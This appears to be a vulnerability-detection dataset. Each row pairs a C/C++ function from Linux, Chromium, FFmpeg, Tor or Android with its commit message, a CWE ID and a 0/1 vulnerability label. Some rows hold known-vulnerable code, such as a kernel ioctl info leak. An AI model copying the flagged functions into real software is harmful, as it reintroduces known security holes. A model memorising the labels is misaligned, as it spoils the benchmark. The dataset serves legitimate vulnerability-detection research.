instruction
stringclasses 1
value | input
stringlengths 56
241k
| output
int64 0
1
| __index_level_0__
int64 0
175k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void omninet_disconnect(struct usb_serial *serial)
{
struct usb_serial_port *wport = serial->port[1];
usb_kill_urb(wport->write_urb);
}
Commit Message: USB: serial: omninet: fix reference leaks at open
This driver needlessly took another reference to the tty on open, a
reference which was then never released on close. This lead to not just
a leak of the tty, but also a driver reference leak that prevented the
driver from being unloaded after a port had once been opened.
Fixes: 4a90f09b20f4 ("tty: usb-serial krefs")
Cc: stable <[email protected]> # 2.6.28
Signed-off-by: Johan Hovold <[email protected]>
CWE ID: CWE-404 | 0 | 66,058 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool FileUtilProxy::Read(
scoped_refptr<MessageLoopProxy> message_loop_proxy,
PlatformFile file,
int64 offset,
int bytes_to_read,
ReadCallback* callback) {
if (bytes_to_read < 0)
return false;
return Start(FROM_HERE, message_loop_proxy,
new RelayRead(file, offset, bytes_to_read, callback));
}
Commit Message: Fix a small leak in FileUtilProxy
BUG=none
TEST=green mem bots
Review URL: http://codereview.chromium.org/7669046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97451 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 1 | 170,273 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void reset_packet_state(AVFormatContext *s)
{
ASFContext *asf = s->priv_data;
int i;
asf->state = PARSE_PACKET_HEADER;
asf->offset = 0;
asf->return_subpayload = 0;
asf->sub_left = 0;
asf->sub_header_offset = 0;
asf->packet_offset = asf->first_packet_offset;
asf->pad_len = 0;
asf->rep_data_len = 0;
asf->dts_delta = 0;
asf->mult_sub_len = 0;
asf->nb_mult_left = 0;
asf->nb_sub = 0;
asf->prop_flags = 0;
asf->sub_dts = 0;
for (i = 0; i < asf->nb_streams; i++) {
ASFPacket *pkt = &asf->asf_st[i]->pkt;
pkt->size_left = 0;
pkt->data_size = 0;
pkt->duration = 0;
pkt->flags = 0;
pkt->dts = 0;
pkt->duration = 0;
av_packet_unref(&pkt->avpkt);
av_init_packet(&pkt->avpkt);
}
}
Commit Message: avformat/asfdec_o: Check size_bmp more fully
Fixes: integer overflow and out of array access
Fixes: asfo-crash-46080c4341572a7137a162331af77f6ded45cbd7
Found-by: Paul Ch <[email protected]>
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-119 | 0 | 74,899 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool ParamTraits<IPC::ChannelHandle>::Read(const Message* m,
PickleIterator* iter,
param_type* r) {
return ReadParam(m, iter, &r->name)
#if defined(OS_POSIX)
&& ReadParam(m, iter, &r->socket)
#endif
;
}
Commit Message: Validate that paths don't contain embedded NULLs at deserialization.
BUG=166867
Review URL: https://chromiumcodereview.appspot.com/11743009
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@174935 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 117,398 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static v8::Handle<v8::Value> convert3Callback(const v8::Arguments& args)
{
INC_STATS("DOM.TestObj.convert3");
if (args.Length() < 1)
return V8Proxy::throwNotEnoughArgumentsError();
TestObj* imp = V8TestObj::toNative(args.Holder());
EXCEPTION_BLOCK(c*, , V8c::HasInstance(MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined)) ? V8c::toNative(v8::Handle<v8::Object>::Cast(MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined))) : 0);
imp->convert3();
return v8::Handle<v8::Value>();
}
Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=86983
Reviewed by Adam Barth.
The objective is to pass Isolate around in V8 bindings.
This patch passes Isolate to throwNotEnoughArgumentsError().
No tests. No change in behavior.
* bindings/scripts/CodeGeneratorV8.pm:
(GenerateArgumentsCountCheck):
(GenerateEventConstructorCallback):
* bindings/scripts/test/V8/V8Float64Array.cpp:
(WebCore::Float64ArrayV8Internal::fooCallback):
* bindings/scripts/test/V8/V8TestActiveDOMObject.cpp:
(WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback):
(WebCore::TestActiveDOMObjectV8Internal::postMessageCallback):
* bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp:
(WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback):
* bindings/scripts/test/V8/V8TestEventConstructor.cpp:
(WebCore::V8TestEventConstructor::constructorCallback):
* bindings/scripts/test/V8/V8TestEventTarget.cpp:
(WebCore::TestEventTargetV8Internal::itemCallback):
(WebCore::TestEventTargetV8Internal::dispatchEventCallback):
* bindings/scripts/test/V8/V8TestInterface.cpp:
(WebCore::TestInterfaceV8Internal::supplementalMethod2Callback):
(WebCore::V8TestInterface::constructorCallback):
* bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp:
(WebCore::TestMediaQueryListListenerV8Internal::methodCallback):
* bindings/scripts/test/V8/V8TestNamedConstructor.cpp:
(WebCore::V8TestNamedConstructorConstructorCallback):
* bindings/scripts/test/V8/V8TestObj.cpp:
(WebCore::TestObjV8Internal::voidMethodWithArgsCallback):
(WebCore::TestObjV8Internal::intMethodWithArgsCallback):
(WebCore::TestObjV8Internal::objMethodWithArgsCallback):
(WebCore::TestObjV8Internal::methodWithSequenceArgCallback):
(WebCore::TestObjV8Internal::methodReturningSequenceCallback):
(WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback):
(WebCore::TestObjV8Internal::serializedValueCallback):
(WebCore::TestObjV8Internal::idbKeyCallback):
(WebCore::TestObjV8Internal::optionsObjectCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback):
(WebCore::TestObjV8Internal::methodWithCallbackArgCallback):
(WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback):
(WebCore::TestObjV8Internal::overloadedMethod1Callback):
(WebCore::TestObjV8Internal::overloadedMethod2Callback):
(WebCore::TestObjV8Internal::overloadedMethod3Callback):
(WebCore::TestObjV8Internal::overloadedMethod4Callback):
(WebCore::TestObjV8Internal::overloadedMethod5Callback):
(WebCore::TestObjV8Internal::overloadedMethod6Callback):
(WebCore::TestObjV8Internal::overloadedMethod7Callback):
(WebCore::TestObjV8Internal::overloadedMethod11Callback):
(WebCore::TestObjV8Internal::overloadedMethod12Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback):
(WebCore::TestObjV8Internal::convert1Callback):
(WebCore::TestObjV8Internal::convert2Callback):
(WebCore::TestObjV8Internal::convert3Callback):
(WebCore::TestObjV8Internal::convert4Callback):
(WebCore::TestObjV8Internal::convert5Callback):
(WebCore::TestObjV8Internal::strictFunctionCallback):
(WebCore::V8TestObj::constructorCallback):
* bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp:
(WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback):
(WebCore::V8TestSerializedScriptValueInterface::constructorCallback):
* bindings/v8/ScriptController.cpp:
(WebCore::setValueAndClosePopupCallback):
* bindings/v8/V8Proxy.cpp:
(WebCore::V8Proxy::throwNotEnoughArgumentsError):
* bindings/v8/V8Proxy.h:
(V8Proxy):
* bindings/v8/custom/V8AudioContextCustom.cpp:
(WebCore::V8AudioContext::constructorCallback):
* bindings/v8/custom/V8DataViewCustom.cpp:
(WebCore::V8DataView::getInt8Callback):
(WebCore::V8DataView::getUint8Callback):
(WebCore::V8DataView::setInt8Callback):
(WebCore::V8DataView::setUint8Callback):
* bindings/v8/custom/V8DirectoryEntryCustom.cpp:
(WebCore::V8DirectoryEntry::getDirectoryCallback):
(WebCore::V8DirectoryEntry::getFileCallback):
* bindings/v8/custom/V8IntentConstructor.cpp:
(WebCore::V8Intent::constructorCallback):
* bindings/v8/custom/V8SVGLengthCustom.cpp:
(WebCore::V8SVGLength::convertToSpecifiedUnitsCallback):
* bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
(WebCore::getObjectParameter):
(WebCore::V8WebGLRenderingContext::getAttachedShadersCallback):
(WebCore::V8WebGLRenderingContext::getExtensionCallback):
(WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback):
(WebCore::V8WebGLRenderingContext::getParameterCallback):
(WebCore::V8WebGLRenderingContext::getProgramParameterCallback):
(WebCore::V8WebGLRenderingContext::getShaderParameterCallback):
(WebCore::V8WebGLRenderingContext::getUniformCallback):
(WebCore::vertexAttribAndUniformHelperf):
(WebCore::uniformHelperi):
(WebCore::uniformMatrixHelper):
* bindings/v8/custom/V8WebKitMutationObserverCustom.cpp:
(WebCore::V8WebKitMutationObserver::constructorCallback):
(WebCore::V8WebKitMutationObserver::observeCallback):
* bindings/v8/custom/V8WebSocketCustom.cpp:
(WebCore::V8WebSocket::constructorCallback):
(WebCore::V8WebSocket::sendCallback):
* bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
(WebCore::V8XMLHttpRequest::openCallback):
git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | 1 | 171,079 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ChromeContentBrowserClient::ChromeContentBrowserClient() {
for (size_t i = 0; i < arraysize(kPredefinedAllowedSocketOrigins); ++i)
allowed_socket_origins_.insert(kPredefinedAllowedSocketOrigins[i]);
}
Commit Message: Ensure extensions and the Chrome Web Store are loaded in new BrowsingInstances.
BUG=174943
TEST=Can't post message to CWS. See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/12301013
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@184208 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264 | 0 | 115,732 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void append_prune_data(struct cmdline_pathspec *prune, const char **av)
{
while (*av) {
ALLOC_GROW(prune->path, prune->nr + 1, prune->alloc);
prune->path[prune->nr++] = *(av++);
}
}
Commit Message: list-objects: pass full pathname to callbacks
When we find a blob at "a/b/c", we currently pass this to
our show_object_fn callbacks as two components: "a/b/" and
"c". Callbacks which want the full value then call
path_name(), which concatenates the two. But this is an
inefficient interface; the path is a strbuf, and we could
simply append "c" to it temporarily, then roll back the
length, without creating a new copy.
So we could improve this by teaching the callsites of
path_name() this trick (and there are only 3). But we can
also notice that no callback actually cares about the
broken-down representation, and simply pass each callback
the full path "a/b/c" as a string. The callback code becomes
even simpler, then, as we do not have to worry about freeing
an allocated buffer, nor rolling back our modification to
the strbuf.
This is theoretically less efficient, as some callbacks
would not bother to format the final path component. But in
practice this is not measurable. Since we use the same
strbuf over and over, our work to grow it is amortized, and
we really only pay to memcpy a few bytes.
Signed-off-by: Jeff King <[email protected]>
Signed-off-by: Junio C Hamano <[email protected]>
CWE ID: CWE-119 | 0 | 54,976 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int yam_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd)
{
struct yam_port *yp = netdev_priv(dev);
struct yamdrv_ioctl_cfg yi;
struct yamdrv_ioctl_mcs *ym;
int ioctl_cmd;
if (copy_from_user(&ioctl_cmd, ifr->ifr_data, sizeof(int)))
return -EFAULT;
if (yp->magic != YAM_MAGIC)
return -EINVAL;
if (!capable(CAP_NET_ADMIN))
return -EPERM;
if (cmd != SIOCDEVPRIVATE)
return -EINVAL;
switch (ioctl_cmd) {
case SIOCYAMRESERVED:
return -EINVAL; /* unused */
case SIOCYAMSMCS:
if (netif_running(dev))
return -EINVAL; /* Cannot change this parameter when up */
if ((ym = kmalloc(sizeof(struct yamdrv_ioctl_mcs), GFP_KERNEL)) == NULL)
return -ENOBUFS;
if (copy_from_user(ym, ifr->ifr_data, sizeof(struct yamdrv_ioctl_mcs))) {
kfree(ym);
return -EFAULT;
}
if (ym->bitrate > YAM_MAXBITRATE) {
kfree(ym);
return -EINVAL;
}
/* setting predef as 0 for loading userdefined mcs data */
add_mcs(ym->bits, ym->bitrate, 0);
kfree(ym);
break;
case SIOCYAMSCFG:
if (!capable(CAP_SYS_RAWIO))
return -EPERM;
if (copy_from_user(&yi, ifr->ifr_data, sizeof(struct yamdrv_ioctl_cfg)))
return -EFAULT;
if ((yi.cfg.mask & YAM_IOBASE) && netif_running(dev))
return -EINVAL; /* Cannot change this parameter when up */
if ((yi.cfg.mask & YAM_IRQ) && netif_running(dev))
return -EINVAL; /* Cannot change this parameter when up */
if ((yi.cfg.mask & YAM_BITRATE) && netif_running(dev))
return -EINVAL; /* Cannot change this parameter when up */
if ((yi.cfg.mask & YAM_BAUDRATE) && netif_running(dev))
return -EINVAL; /* Cannot change this parameter when up */
if (yi.cfg.mask & YAM_IOBASE) {
yp->iobase = yi.cfg.iobase;
dev->base_addr = yi.cfg.iobase;
}
if (yi.cfg.mask & YAM_IRQ) {
if (yi.cfg.irq > 15)
return -EINVAL;
yp->irq = yi.cfg.irq;
dev->irq = yi.cfg.irq;
}
if (yi.cfg.mask & YAM_BITRATE) {
if (yi.cfg.bitrate > YAM_MAXBITRATE)
return -EINVAL;
yp->bitrate = yi.cfg.bitrate;
}
if (yi.cfg.mask & YAM_BAUDRATE) {
if (yi.cfg.baudrate > YAM_MAXBAUDRATE)
return -EINVAL;
yp->baudrate = yi.cfg.baudrate;
}
if (yi.cfg.mask & YAM_MODE) {
if (yi.cfg.mode > YAM_MAXMODE)
return -EINVAL;
yp->dupmode = yi.cfg.mode;
}
if (yi.cfg.mask & YAM_HOLDDLY) {
if (yi.cfg.holddly > YAM_MAXHOLDDLY)
return -EINVAL;
yp->holdd = yi.cfg.holddly;
}
if (yi.cfg.mask & YAM_TXDELAY) {
if (yi.cfg.txdelay > YAM_MAXTXDELAY)
return -EINVAL;
yp->txd = yi.cfg.txdelay;
}
if (yi.cfg.mask & YAM_TXTAIL) {
if (yi.cfg.txtail > YAM_MAXTXTAIL)
return -EINVAL;
yp->txtail = yi.cfg.txtail;
}
if (yi.cfg.mask & YAM_PERSIST) {
if (yi.cfg.persist > YAM_MAXPERSIST)
return -EINVAL;
yp->pers = yi.cfg.persist;
}
if (yi.cfg.mask & YAM_SLOTTIME) {
if (yi.cfg.slottime > YAM_MAXSLOTTIME)
return -EINVAL;
yp->slot = yi.cfg.slottime;
yp->slotcnt = yp->slot / 10;
}
break;
case SIOCYAMGCFG:
yi.cfg.mask = 0xffffffff;
yi.cfg.iobase = yp->iobase;
yi.cfg.irq = yp->irq;
yi.cfg.bitrate = yp->bitrate;
yi.cfg.baudrate = yp->baudrate;
yi.cfg.mode = yp->dupmode;
yi.cfg.txdelay = yp->txd;
yi.cfg.holddly = yp->holdd;
yi.cfg.txtail = yp->txtail;
yi.cfg.persist = yp->pers;
yi.cfg.slottime = yp->slot;
if (copy_to_user(ifr->ifr_data, &yi, sizeof(struct yamdrv_ioctl_cfg)))
return -EFAULT;
break;
default:
return -EINVAL;
}
return 0;
}
Commit Message: hamradio/yam: fix info leak in ioctl
The yam_ioctl() code fails to initialise the cmd field
of the struct yamdrv_ioctl_cfg. Add an explicit memset(0)
before filling the structure to avoid the 4-byte info leak.
Signed-off-by: Salva Peiró <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-399 | 1 | 166,437 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: MediaQueryList* LocalDOMWindow::matchMedia(const String& media) {
return document() ? document()->GetMediaQueryMatcher().MatchMedia(media)
: nullptr;
}
Commit Message: MacViews: Enable secure text input for password Textfields.
In Cocoa the NSTextInputContext automatically enables secure text input
when activated and it's in the secure text entry mode.
RenderWidgetHostViewMac did the similar thing for ages following the
WebKit example.
views::Textfield needs to do the same thing in a fashion that's
sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions
are possible when the Textfield gets focus, activates the secure text
input mode and the RWHVM loses focus immediately afterwards and disables
the secure text input instead of leaving it in the enabled state.
BUG=818133,677220
Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b
Reviewed-on: https://chromium-review.googlesource.com/943064
Commit-Queue: Michail Pishchagin <[email protected]>
Reviewed-by: Pavel Feldman <[email protected]>
Reviewed-by: Avi Drissman <[email protected]>
Reviewed-by: Peter Kasting <[email protected]>
Cr-Commit-Position: refs/heads/master@{#542517}
CWE ID: | 0 | 125,946 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ServiceCtrlInteractive(DWORD ctrl_code, DWORD event, LPVOID data, LPVOID ctx)
{
SERVICE_STATUS *status = ctx;
switch (ctrl_code)
{
case SERVICE_CONTROL_STOP:
status->dwCurrentState = SERVICE_STOP_PENDING;
ReportStatusToSCMgr(service, status);
if (exit_event)
{
SetEvent(exit_event);
}
return NO_ERROR;
case SERVICE_CONTROL_INTERROGATE:
return NO_ERROR;
default:
return ERROR_CALL_NOT_IMPLEMENTED;
}
}
Commit Message: Fix potential double-free() in Interactive Service (CVE-2018-9336)
Malformed input data on the service pipe towards the OpenVPN interactive
service (normally used by the OpenVPN GUI to request openvpn instances
from the service) can result in a double free() in the error handling code.
This usually only leads to a process crash (DoS by an unprivileged local
account) but since it could possibly lead to memory corruption if
happening while multiple other threads are active at the same time,
CVE-2018-9336 has been assigned to acknowledge this risk.
Fix by ensuring that sud->directory is set to NULL in GetStartUpData()
for all error cases (thus not being free()ed in FreeStartupData()).
Rewrite control flow to use explicit error label for error exit.
Discovered and reported by Jacob Baines <[email protected]>.
CVE: 2018-9336
Signed-off-by: Gert Doering <[email protected]>
Acked-by: Selva Nair <[email protected]>
Message-Id: <[email protected]>
URL: https://www.mail-archive.com/search?l=mid&[email protected]
Signed-off-by: Gert Doering <[email protected]>
CWE ID: CWE-415 | 0 | 83,419 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void DataReductionProxySettings::SetDataReductionProxyEnabled(bool enabled) {
DCHECK(thread_checker_.CalledOnValidThread());
DCHECK(data_reduction_proxy_service_->compression_stats());
if (spdy_proxy_auth_enabled_.GetValue() != enabled) {
spdy_proxy_auth_enabled_.SetValue(enabled);
OnProxyEnabledPrefChange();
#if defined(OS_ANDROID)
data_reduction_proxy_service_->compression_stats()
->SetDataUsageReportingEnabled(enabled);
#endif // defined(OS_ANDROID)
}
}
Commit Message: Move IsDataSaverEnabledByUser to be a static method and use it
This method now officially becomes the source of truth that
everything in the code base eventually calls into to determine whether
or not DataSaver is enabled.
Bug: 934399
Change-Id: Iae837b710ace8cc3101188f79d02cbc2d4f0fd93
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1537242
Reviewed-by: Joshua Pawlicki <[email protected]>
Reviewed-by: Tarun Bansal <[email protected]>
Commit-Queue: Robert Ogden <[email protected]>
Cr-Commit-Position: refs/heads/master@{#643948}
CWE ID: CWE-119 | 1 | 172,558 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int mov_read_wide(MOVContext *c, AVIOContext *pb, MOVAtom atom)
{
int err;
if (atom.size < 8)
return 0; /* continue */
if (avio_rb32(pb) != 0) { /* 0 sized mdat atom... use the 'wide' atom size */
avio_skip(pb, atom.size - 4);
return 0;
}
atom.type = avio_rl32(pb);
atom.size -= 8;
if (atom.type != MKTAG('m','d','a','t')) {
avio_skip(pb, atom.size);
return 0;
}
err = mov_read_mdat(c, pb, atom);
return err;
}
Commit Message: mov: reset dref_count on realloc to keep values consistent.
This fixes a potential crash.
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-119 | 0 | 54,553 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void CloseWindowCallback(Browser* browser) {
chrome::CloseWindow(browser);
}
Commit Message: Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 110,529 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: connection_edge_package_raw_inbuf(edge_connection_t *conn, int package_partial,
int *max_cells)
{
size_t bytes_to_process, length;
char payload[CELL_PAYLOAD_SIZE];
circuit_t *circ;
const unsigned domain = conn->base_.type == CONN_TYPE_AP ? LD_APP : LD_EXIT;
int sending_from_optimistic = 0;
entry_connection_t *entry_conn =
conn->base_.type == CONN_TYPE_AP ? EDGE_TO_ENTRY_CONN(conn) : NULL;
const int sending_optimistically =
entry_conn &&
conn->base_.type == CONN_TYPE_AP &&
conn->base_.state != AP_CONN_STATE_OPEN;
crypt_path_t *cpath_layer = conn->cpath_layer;
tor_assert(conn);
if (conn->base_.marked_for_close) {
log_warn(LD_BUG,
"called on conn that's already marked for close at %s:%d.",
conn->base_.marked_for_close_file, conn->base_.marked_for_close);
return 0;
}
if (max_cells && *max_cells <= 0)
return 0;
repeat_connection_edge_package_raw_inbuf:
circ = circuit_get_by_edge_conn(conn);
if (!circ) {
log_info(domain,"conn has no circuit! Closing.");
conn->end_reason = END_STREAM_REASON_CANT_ATTACH;
return -1;
}
if (circuit_consider_stop_edge_reading(circ, cpath_layer))
return 0;
if (conn->package_window <= 0) {
log_info(domain,"called with package_window %d. Skipping.",
conn->package_window);
connection_stop_reading(TO_CONN(conn));
return 0;
}
sending_from_optimistic = entry_conn &&
entry_conn->sending_optimistic_data != NULL;
if (PREDICT_UNLIKELY(sending_from_optimistic)) {
bytes_to_process = generic_buffer_len(entry_conn->sending_optimistic_data);
if (PREDICT_UNLIKELY(!bytes_to_process)) {
log_warn(LD_BUG, "sending_optimistic_data was non-NULL but empty");
bytes_to_process = connection_get_inbuf_len(TO_CONN(conn));
sending_from_optimistic = 0;
}
} else {
bytes_to_process = connection_get_inbuf_len(TO_CONN(conn));
}
if (!bytes_to_process)
return 0;
if (!package_partial && bytes_to_process < RELAY_PAYLOAD_SIZE)
return 0;
if (bytes_to_process > RELAY_PAYLOAD_SIZE) {
length = RELAY_PAYLOAD_SIZE;
} else {
length = bytes_to_process;
}
stats_n_data_bytes_packaged += length;
stats_n_data_cells_packaged += 1;
if (PREDICT_UNLIKELY(sending_from_optimistic)) {
/* XXXX We could be more efficient here by sometimes packing
* previously-sent optimistic data in the same cell with data
* from the inbuf. */
generic_buffer_get(entry_conn->sending_optimistic_data, payload, length);
if (!generic_buffer_len(entry_conn->sending_optimistic_data)) {
generic_buffer_free(entry_conn->sending_optimistic_data);
entry_conn->sending_optimistic_data = NULL;
}
} else {
connection_fetch_from_buf(payload, length, TO_CONN(conn));
}
log_debug(domain,TOR_SOCKET_T_FORMAT": Packaging %d bytes (%d waiting).",
conn->base_.s,
(int)length, (int)connection_get_inbuf_len(TO_CONN(conn)));
if (sending_optimistically && !sending_from_optimistic) {
/* This is new optimistic data; remember it in case we need to detach and
retry */
if (!entry_conn->pending_optimistic_data)
entry_conn->pending_optimistic_data = generic_buffer_new();
generic_buffer_add(entry_conn->pending_optimistic_data, payload, length);
}
if (connection_edge_send_command(conn, RELAY_COMMAND_DATA,
payload, length) < 0 )
/* circuit got marked for close, don't continue, don't need to mark conn */
return 0;
if (!cpath_layer) { /* non-rendezvous exit */
tor_assert(circ->package_window > 0);
circ->package_window--;
} else { /* we're an AP, or an exit on a rendezvous circ */
tor_assert(cpath_layer->package_window > 0);
cpath_layer->package_window--;
}
if (--conn->package_window <= 0) { /* is it 0 after decrement? */
connection_stop_reading(TO_CONN(conn));
log_debug(domain,"conn->package_window reached 0.");
circuit_consider_stop_edge_reading(circ, cpath_layer);
return 0; /* don't process the inbuf any more */
}
log_debug(domain,"conn->package_window is now %d",conn->package_window);
if (max_cells) {
*max_cells -= 1;
if (*max_cells <= 0)
return 0;
}
/* handle more if there's more, or return 0 if there isn't */
goto repeat_connection_edge_package_raw_inbuf;
}
Commit Message: TROVE-2017-005: Fix assertion failure in connection_edge_process_relay_cell
On an hidden service rendezvous circuit, a BEGIN_DIR could be sent
(maliciously) which would trigger a tor_assert() because
connection_edge_process_relay_cell() thought that the circuit is an
or_circuit_t but is an origin circuit in reality.
Fixes #22494
Reported-by: Roger Dingledine <[email protected]>
Signed-off-by: David Goulet <[email protected]>
CWE ID: CWE-617 | 0 | 69,855 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: CStarter::remoteHoldCommand( int /*cmd*/, Stream* s )
{
MyString hold_reason;
int hold_code;
int hold_subcode;
s->decode();
if( !s->get(hold_reason) ||
!s->get(hold_code) ||
!s->get(hold_subcode) ||
!s->end_of_message() )
{
dprintf(D_ALWAYS,"Failed to read message from %s in CStarter::remoteHoldCommand()\n", s->peer_description());
return FALSE;
}
if( jic ) {
jic->holdJob(hold_reason.Value(),hold_code,hold_subcode);
}
int reply = 1;
s->encode();
if( !s->put(reply) || !s->end_of_message()) {
dprintf(D_ALWAYS,"Failed to send response to startd in CStarter::remoteHoldCommand()\n");
}
if ( this->Hold( ) ) {
dprintf( D_FULLDEBUG, "Got Hold when no jobs running\n" );
this->allJobsDone();
return ( true );
}
return ( false );
}
Commit Message:
CWE ID: CWE-134 | 0 | 16,434 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: status_t ACodec::handleSetSurface(const sp<Surface> &surface) {
if (surface == NULL) {
if (mNativeWindow != NULL) {
ALOGW("cannot unset a surface");
return INVALID_OPERATION;
}
return OK;
}
if (mNativeWindow == NULL) {
ALOGW("component was not configured with a surface");
return INVALID_OPERATION;
}
ANativeWindow *nativeWindow = surface.get();
if (mBuffers[kPortIndexInput].size() == 0) {
mNativeWindow = surface;
return OK;
}
if (mTunneled) {
ALOGW("cannot change tunneled surface");
return INVALID_OPERATION;
}
int usageBits = 0;
status_t err = setupNativeWindowSizeFormatAndUsage(nativeWindow, &usageBits);
if (err != OK) {
return err;
}
int ignoredFlags = kVideoGrallocUsage;
if ((usageBits & ~(mNativeWindowUsageBits | ignoredFlags)) != 0) {
ALOGW("cannot change usage from %#x to %#x", mNativeWindowUsageBits, usageBits);
return BAD_VALUE;
}
int minUndequeuedBuffers = 0;
err = nativeWindow->query(
nativeWindow, NATIVE_WINDOW_MIN_UNDEQUEUED_BUFFERS,
&minUndequeuedBuffers);
if (err != 0) {
ALOGE("NATIVE_WINDOW_MIN_UNDEQUEUED_BUFFERS query failed: %s (%d)",
strerror(-err), -err);
return err;
}
if (minUndequeuedBuffers > (int)mNumUndequeuedBuffers) {
ALOGE("new surface holds onto more buffers (%d) than planned for (%zu)",
minUndequeuedBuffers, mNumUndequeuedBuffers);
return BAD_VALUE;
}
Vector<BufferInfo> &buffers = mBuffers[kPortIndexOutput];
ALOGV("setting up surface for %zu buffers", buffers.size());
err = native_window_set_buffer_count(nativeWindow, buffers.size());
if (err != 0) {
ALOGE("native_window_set_buffer_count failed: %s (%d)", strerror(-err),
-err);
return err;
}
surface->getIGraphicBufferProducer()->allowAllocation(true);
for (size_t i = 0; i < buffers.size(); ++i) {
const BufferInfo &info = buffers[i];
if (storingMetadataInDecodedBuffers()
&& !mLegacyAdaptiveExperiment
&& info.mStatus == BufferInfo::OWNED_BY_NATIVE_WINDOW) {
ALOGV("skipping buffer %p", info.mGraphicBuffer->getNativeBuffer());
continue;
}
ALOGV("attaching buffer %p", info.mGraphicBuffer->getNativeBuffer());
err = surface->attachBuffer(info.mGraphicBuffer->getNativeBuffer());
if (err != OK) {
ALOGE("failed to attach buffer %p to the new surface: %s (%d)",
info.mGraphicBuffer->getNativeBuffer(),
strerror(-err), -err);
return err;
}
}
if (!storingMetadataInDecodedBuffers() || mLegacyAdaptiveExperiment) {
for (size_t i = 0; i < buffers.size(); ++i) {
BufferInfo &info = buffers.editItemAt(i);
if (info.mStatus == BufferInfo::OWNED_BY_NATIVE_WINDOW) {
ALOGV("canceling buffer %p", info.mGraphicBuffer->getNativeBuffer());
err = nativeWindow->cancelBuffer(
nativeWindow, info.mGraphicBuffer->getNativeBuffer(), info.mFenceFd);
info.mFenceFd = -1;
if (err != OK) {
ALOGE("failed to cancel buffer %p to the new surface: %s (%d)",
info.mGraphicBuffer->getNativeBuffer(),
strerror(-err), -err);
return err;
}
}
}
(void)surface->getIGraphicBufferProducer()->allowAllocation(false);
}
if (mFlags & kFlagPushBlankBuffersToNativeWindowOnShutdown) {
pushBlankBuffersToNativeWindow(mNativeWindow.get());
}
mNativeWindow = nativeWindow;
mNativeWindowUsageBits = usageBits;
return OK;
}
Commit Message: Fix initialization of AAC presentation struct
Otherwise the new size checks trip on this.
Bug: 27207275
Change-Id: I1f8f01097e3a88ff041b69279a6121be842f1766
CWE ID: CWE-119 | 0 | 164,065 |
